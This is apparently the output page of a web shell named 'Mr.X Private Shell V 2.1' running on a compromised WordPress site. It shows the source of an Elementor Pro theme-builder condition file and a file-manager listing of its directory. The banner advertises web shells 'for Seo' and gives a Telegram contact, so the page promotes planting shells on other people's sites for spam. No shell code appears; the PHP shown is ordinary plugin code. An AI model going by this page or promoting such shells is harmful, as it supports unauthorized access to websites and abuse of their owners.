__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace ElementorPro\Modules\ThemeBuilder\Conditions;
use ElementorPro\Modules\QueryControl\Module as QueryModule;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
class Author extends Condition_Base {
public static function get_type() {
return 'archive';
}
public static function get_priority() {
return 70;
}
public function get_name() {
return 'author';
}
public function get_label() {
return esc_html__( 'Author archive', 'elementor-pro' );
}
public function check( $args = null ) {
return is_author( $args['id'] );
}
protected function register_controls() {
$this->add_control(
'author_id',
[
'section' => 'settings',
'type' => QueryModule::QUERY_CONTROL_ID,
'select2options' => [
'dropdownCssClass' => 'elementor-conditions-select2-dropdown',
],
'autocomplete' => [
'object' => QueryModule::QUERY_OBJECT_AUTHOR,
],
]
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| any-child-of-term.php | File | 1023 B | 0664 |
|
| any-child-of.php | File | 568 B | 0664 |
|
| archive.php | File | 1.25 KB | 0664 |
|
| author.php | File | 937 B | 0664 |
|
| by-author.php | File | 979 B | 0664 |
|
| child-of-term.php | File | 939 B | 0664 |
|
| child-of.php | File | 1.26 KB | 0664 |
|
| condition-base.php | File | 1.53 KB | 0664 |
|
| date.php | File | 491 B | 0664 |
|
| front-page.php | File | 508 B | 0664 |
|
| general.php | File | 586 B | 0664 |
|
| in-sub-term.php | File | 878 B | 0664 |
|
| in-taxonomy.php | File | 1.34 KB | 0664 |
|
| not-found404.php | File | 503 B | 0664 |
|
| post-type-archive.php | File | 1.77 KB | 0664 |
|
| post-type-by-author.php | File | 1.22 KB | 0664 |
|
| post.php | File | 2.07 KB | 0664 |
|
| search.php | File | 499 B | 0664 |
|
| singular.php | File | 1.24 KB | 0664 |
|
| taxonomy.php | File | 1.28 KB | 0664 |
|